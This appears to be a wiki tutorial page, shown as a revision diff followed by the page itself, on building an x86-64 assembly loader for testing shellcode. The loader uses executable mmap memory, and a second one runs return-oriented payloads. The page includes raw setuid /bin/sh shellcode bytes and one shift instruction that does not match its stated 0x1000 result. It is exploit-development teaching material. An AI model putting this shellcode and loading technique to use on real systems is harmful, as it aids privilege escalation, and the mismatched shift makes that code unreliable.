Difference between revisions of "Shellcode/Loaders"
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</source>}} | </source>}} | ||
− | If so, then | + | If so, then jump to inject_finished and actually execute the code. |
{{code|text=<source lang="asm"> | {{code|text=<source lang="asm"> | ||
inject_loop: | inject_loop: | ||
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</source>}} | </source>}} | ||
− | Each byte of the shellcode is moved from %rbx + %rsi (current location) into %rax + %rsi (new executable memory) through the %r10b single-byte sub-register of %r10: | + | Each byte of the shellcode is moved from ''%rbx + %rsi'' (current location) into ''%rax + %rsi'' (new executable memory) through the '''%r10b'' single-byte sub-[[register]] of ''%r10'': |
{{code|text=<source lang="asm"> | {{code|text=<source lang="asm"> | ||
movb (%rbx, %rsi, 1), %r10b | movb (%rbx, %rsi, 1), %r10b | ||
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</source>}} | </source>}} | ||
− | %rsi is incremented as both the offset and the counter: | + | ''%rsi'' is incremented as both the offset and the counter: |
{{code|text=<source lang="asm"> | {{code|text=<source lang="asm"> | ||
inc %rsi | inc %rsi | ||
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</source>}} | </source>}} | ||
− | The inject_finished routine then appends the ret opcode, 0xc3, to the end of the shellcode: | + | The ''inject_finished'' routine then appends the ret opcode, 0xc3, to the end of the shellcode: |
{{code|text=<source lang="asm"> | {{code|text=<source lang="asm"> | ||
inject_finished: | inject_finished: | ||
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The reason that the code is '''returned to''' rather than jumped to or called is because this more adequately provides the environment similar to that of a vulnerable application at the time of overflow. A payload is returned to, and therefore, when shellcode is loaded, it should also be returned to. | The reason that the code is '''returned to''' rather than jumped to or called is because this more adequately provides the environment similar to that of a vulnerable application at the time of overflow. A payload is returned to, and therefore, when shellcode is loaded, it should also be returned to. | ||
− | + | ''ret_to_shellcode'' is then called, this causes the address of ''exit'' to be pushed onto the stack, so that the end of the shellcode now returns to <address of exit>. | |
{{code|text=<source lang="asm"> | {{code|text=<source lang="asm"> | ||
call ret_to_shellcode | call ret_to_shellcode | ||
</source>}} | </source>}} | ||
− | + | The original return address is then replaced with the address of the shellcode and returned into. | |
{{code|text=<source lang="asm"> | {{code|text=<source lang="asm"> | ||
ret_to_shellcode: | ret_to_shellcode: | ||
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</source>}} | </source>}} | ||
− | When the shellcode completes, it will return to | + | When the shellcode completes, it will return to the ''exit'' function to exit cleanly: |
{{code|text=<source lang="asm"> | {{code|text=<source lang="asm"> | ||
exit: | exit: | ||
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</source>}} | </source>}} | ||
− | Once the code is complete | + | Once the code is complete it can be run along with the test shellcode: |
╭─user@host ~ | ╭─user@host ~ | ||
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==== Using the executable loader ==== | ==== Using the executable loader ==== | ||
− | The shellcode | + | The shellcode invoked here is the same as the shellcode constructed and extracted [[Shellcode/Appendix#setuid_binsh.s|earlier]]. Notice the change in prompt, and that exit returns the original prompt. This indicates that the shellcode executed successfully. |
╭─user@host ~ | ╭─user@host ~ | ||
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== Return oriented loader == | == Return oriented loader == | ||
− | Return oriented code can be tested using a loader as well; though a much smaller loader is used as return-oriented code ''should not require executable memory allocation'': | + | [[ROP|Return oriented code]] can be tested using a loader as well; though a much smaller loader is used as [[ROP|return-oriented code]] ''should not require executable memory allocation'': |
{{code|text=<source lang="asm"> | {{code|text=<source lang="asm"> | ||
_start: | _start: |
Revision as of 05:01, 29 November 2012
Shellcode has to be tested before it can be used, so a shellcode loader is needed. The best way to construct a loader for user-friendly operations is by taking the shellcode as a command line argument.
Contents
Writing an unlinked loaders
Executable loader
Command Line Arguments
Command line arguments are pushed onto the stack in this order: second argument, first argument, number of arguments. Therefore, in order to get the shellcode from the arguments, pop the %rbx register three times. Once this is done, the %rbx register will contain a pointer to the shellcode:
_start: pop %rbx # argc pop %rbx # arg0 pop %rbx # arg1 pointer |
Executable memory allocation with mmap()
- See also: Unlinked 64-bit system calls, the 64-bit system call table
Because modern operating systems have non-executable stacks by default, an executable stack must be constructed for successful code execution. This is done with the mmap() system call.
The prototype for mmap() is:
void *mmap(void *addr, size_t len, int prot, int flags, int fildes, off_t off); |
On 64-bit processors, function arguments are passed like so:
function_call(%rax) = function(%rdi, %rsi, %rdx, %r10, %r8, %r9) ^system ^arg1 ^arg2 ^arg3 ^arg4 ^arg5 ^arg6 call # |
First, the system call number for mmap() is placed into %rax:
push $0x9 pop %rax |
The first argument (%rdi) of mmap() should be null, so using xor, %rdi is set to zero.
xor %rdi, %rdi |
- The desired size of the buffer (4096 bytes or 0x1000 in hex) is passed into %rsi as the second argument to mmap.
The %rsi register is initialized to zero by pushing %rdi and popping %rsi:
push %rdi pop %rsi |
Then incremented to get it to 0x0001:
inc %rsi |
And shifted left 12 bits (1 shifted left 12 bits will become 0x1000 or binary 00010000 00000000):
shl $0x12, %rsi |
The third argument (%rdx) contains the memory permissions (read, write, execute, or none), for multiple, they are put together using bitwise or. Since 7 is the result of ORing the flags PROT_READ, PROT_WRITE, and PROT_EXEC, the or itself is skipped and its value (7) is stored in %rdx.
push $0x7 pop %rdx |
The flags argument functions the same way as the "prot" argument, but requires constants for mapping. In this case MAP_PRIVATE|MAP_ANONYMOUS, which maps out to 0x22, which is stored in %r10.
push $0x22 pop %r10 |
The final two arguments should be null and stored in %r8 and %r9.
push %rdi push %rdi pop %r8 pop %r9 |
Once the registers are set, a syscall is used to invoke mmap().
syscall # The syscall for the mmap(). |
The %rax register now contains a pointer to the buffer returned by mmap() to copy the shellcode into.
Copying the code into the new memory
The %rsi register is initialized to 0 to be used as a counter:
inject: xor %rsi, %rsi |
%rdi will be null as well because the current byte is compared to %dil to determine when the end of the shellcode has been reached.
push %rsi pop %rdi |
If so, then jump to inject_finished and actually execute the code.
inject_loop: cmpb %dil, (%rbx, %rsi, 1) je inject_finished |
Each byte of the shellcode is moved from %rbx + %rsi (current location) into %rax + %rsi (new executable memory) through the '%r10b single-byte sub-register of %r10:
movb (%rbx, %rsi, 1), %r10b movb %r10b, (%rax,%rsi,1) |
%rsi is incremented as both the offset and the counter:
inc %rsi |
And then the loop restarts:
jmp inject_loop
|
The inject_finished routine then appends the ret opcode, 0xc3, to the end of the shellcode:
inject_finished: movb $0xc3, (%rax, %rsi, 1) |
(note: opcodes are the instructions, whereas bytecode represents the opcode and its arguments, called operands in proper machine code terminology)
Returning to the code
The reason that the code is returned to rather than jumped to or called is because this more adequately provides the environment similar to that of a vulnerable application at the time of overflow. A payload is returned to, and therefore, when shellcode is loaded, it should also be returned to.
ret_to_shellcode is then called, this causes the address of exit to be pushed onto the stack, so that the end of the shellcode now returns to <address of exit>.
call ret_to_shellcode
|
The original return address is then replaced with the address of the shellcode and returned into.
ret_to_shellcode: push %rax ret |
When the shellcode completes, it will return to the exit function to exit cleanly:
exit: push $60 pop %rax xor %rdi, %rdi syscall |
Once the code is complete it can be run along with the test shellcode:
╭─user@host ~ ╰─➤ as -oloader.o loader.s ╭─user@host ~ ╰─➤ ld -oloader loader.o
Using the executable loader
The shellcode invoked here is the same as the shellcode constructed and extracted earlier. Notice the change in prompt, and that exit returns the original prompt. This indicates that the shellcode executed successfully.
╭─user@host ~ ╰─➤ ./loader "$(echo -en "\x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05");" [user@host ~]$ exit exit ╭─user@host ~ ╰─➤
Return oriented loader
Return oriented code can be tested using a loader as well; though a much smaller loader is used as return-oriented code should not require executable memory allocation:
_start: pop %rbx pop %rbx pop %rsp # %rsp now points to arg1 in the stack ret |